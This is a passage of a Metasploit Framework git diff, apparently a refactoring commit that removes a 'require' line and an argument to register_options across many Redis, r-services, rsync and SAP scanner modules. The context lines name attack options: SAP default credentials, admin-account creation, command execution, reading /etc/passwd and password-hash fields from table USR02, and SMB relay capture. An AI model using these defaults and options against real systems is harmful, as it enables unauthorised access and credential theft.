a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index 9671b218ea..e1eaea857a 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Redis diff --git a/modules/auxiliary/scanner/redis/redis_login.rb b/modules/auxiliary/scanner/redis/redis_login.rb index 3c20561c86..ff3c1551bf 100644 --- a/modules/auxiliary/scanner/redis/redis_login.rb +++ b/modules/auxiliary/scanner/redis/redis_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/redis' require 'metasploit/framework/credential_collection' @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary 'The file that contains a list of of probable passwords.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ]) - ], self.class) + ]) # redis does not have an username, there's only password deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS', 'DB_ALL_CREDS') diff --git a/modules/auxiliary/scanner/redis/redis_server.rb b/modules/auxiliary/scanner/redis/redis_server.rb index 69d0405e61..939657fc97 100644 --- a/modules/auxiliary/scanner/redis/redis_server.rb +++ b/modules/auxiliary/scanner/redis/redis_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Redis include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb index 9b8dbe95d7..8c34affcc9 100644 --- a/modules/auxiliary/scanner/rogue/rogue_recv.rb +++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 6c50275f34..9e83457b94 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb index 9a1e4d7c83..149288f925 100644 --- a/modules/auxiliary/scanner/rservices/rexec_login.rb +++ b/modules/auxiliary/scanner/rservices/rexec_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(512), OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]), OptInt.new( 'STDERR_PORT', [ false, 'The port to listen on for stderr', nil ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index 1ef454e273..23b9e19d3a 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(513), OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]), OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb index aac1d57444..a6274c5fa8 100644 --- a/modules/auxiliary/scanner/rservices/rsh_login.rb +++ b/modules/auxiliary/scanner/rservices/rsh_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(514), OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index ff68f8f088..9df64bdbc0 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index b93b5dd456..516735da26 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'Username to create', 'msf']), OptString.new('PASSWORD', [true, 'Password for the new user', '$Metasploit1234$']), OptString.new('GROUP', [true, 'Group for the new user', 'Administrators']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 5acb133b6b..737af2ccb7 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1128) - ], self.class) + ]) register_autofilter_ports([1128]) diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index 146a919d95..6b21df0c10 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('TARGETURI', [true, 'Path to SAP Application Server', '/']) - ], self.class) + ]) end def extract_field(data, elem) diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb index 1e9e63aa2e..a3930ae61e 100644 --- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb +++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('VERB', [true, "Verb for auth bypass testing", "HEAD"]), OptPath.new('URLFILE', [true, "SAP ICM Paths File", File.join(Msf::Config.data_directory, 'wordlists', 'sap_icm_paths.txt')]) - ], self.class) + ]) end # Base Structure of module borrowed from jboss_vulnscan diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index 3a300ad761..b203932742 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb index 4c73ef5558..05cf1e0627 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']), OptPath.new('USER_FILE', [ false, "File containing users, one per line", File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ]) - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('HttpUsername', 'HttpPassword') diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index fb3a9571bb..e7058afff3 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index ee9957196f..b53f689da7 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index 7d4b52b594..46b1e49b63 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 0081f81978..4dc1db123c 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('RFILE', [ true, 'The name of the file to download ', 'sapstart.log']), OptEnum.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE', ['TRACEFILE','LOGFILE']]), OptBool.new('GETALL', [ false, 'Download all available files (WARNING: may take a long time!)', false]) - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 6747e7263c..1fb45cbcff 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index 3f4cc9ebf3..5c9416f8c8 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(50013), OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('MATCH', [false, 'Display matches e.g login/', '']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index 76ab9d2360..1d8315c9e3 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index d1d26c469f..e87ef4786a 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), OptEnum.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE', ['TRACEFILE','LOGFILE']]) - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index 27e3600b01..240b7be972 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index 5f835712b5..5af73ccaf9 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index 1edd8fdae9..66dc41b307 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(3299) - ], self.class) + ]) end def get_data(size, packet_len) diff --git a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb index 3cd24118cc..fa8eff6489 100644 --- a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb +++ b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary # 8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN OptInt.new('CONCURRENCY', [true, 'The number of concurrent ports to check per host', 10]), OptEnum.new('RESOLVE',[true,'Where to resolve TARGETS','local',['remote','local']]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb index 47921cdf7d..123f7a0960 100644 --- a/modules/auxiliary/scanner/sap/sap_service_discovery.rb +++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('INSTANCES', [true, "Instance numbers to scan (e.g. 00-05,00-99)", "00-01"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), - ], self.class) + ]) deregister_options('RPORT') end diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index c892c27ce8..75a287c007 100644 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CLIENT', [true, 'SAP client', '001']), OptString.new('HttpUsername', [false, 'Username (Ex SAP*)']), OptString.new('HttpPassword', [false, 'Password (Ex 06071992)']), - OptAddress.new('LHOST', [true, 'Server IP or hostname of the SMB Capture system']), + OptAddressLocal.new('LHOST', [true, 'Server IP or hostname of the SMB Capture system']), OptEnum.new('ABUSE', [true, 'SMB Relay abuse to use', "MMR", [ "MMR", @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary "CLBA_UPDATE_FILE_REMOTE_HOST" ] ]), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index 933d48e48a..c725b96943 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('BAPI_LAST',[true,'Last name','Doe']), OptString.new('BAPI_PASSWORD',[true,'Password for the account (Default is msf1234)','msf1234']), OptString.new('BAPI_USER',[true,'Username for the account (Username in upper case only. Default is MSF)', 'MSF']) - ], self.class) + ]) end def report_cred(opts) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index cfcdf928bf..2adc0a414f 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ]) - ], self.class) + ]) deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index dd4e0b9a5b..35d8e34c2c 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpPassword', [true, 'Password', '06071992']), OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]), OptString.new('CMD', [true, 'Command to run', "id"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index 544879301b..83a25aff30 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpPassword', [true, 'Password', '06071992']), OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]), OptString.new('CMD', [true, 'Command to run', "id"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index d0171301d2..66214f4566 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index 7ae555feed..f869b0ae53 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -20,8 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('FILEPATH',[true,'File Path to check for (e.g. /etc)','/etc/passwd']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index 935d3cf98f..abe40a02cf 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CLIENT', [true, 'Client', '001']), OptString.new('HttpUsername', [true, 'Username ', 'SAP*']), OptString.new('HttpPassword', [true, 'Password ', '06071992']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index e86664c91e..6b365d839d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('TABLE', [true, 'Table to read', 'USR02']), OptString.new('FIELDS', [true, 'Fields to read', 'BNAME,BCODE']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index 10a5670bab..0d335ca77a 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -20,7 +20,6 @@ # just seem to enjoy hacking SAP :) ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername', [true, 'Username', 'SAP*']), OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc']) - ], self.class) + ]) end def parse_xml(xml_data) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index 9958ef4ddd..0eebb1b708 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -14,8 +14,6 @@ # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('ABAP_PASSWORD',[false,'Password for the account (Default is msf1234)','msf1234']), OptString.new('ABAP_USER',[false,'Username for the account (Username in upper case only. Default is MSF)', 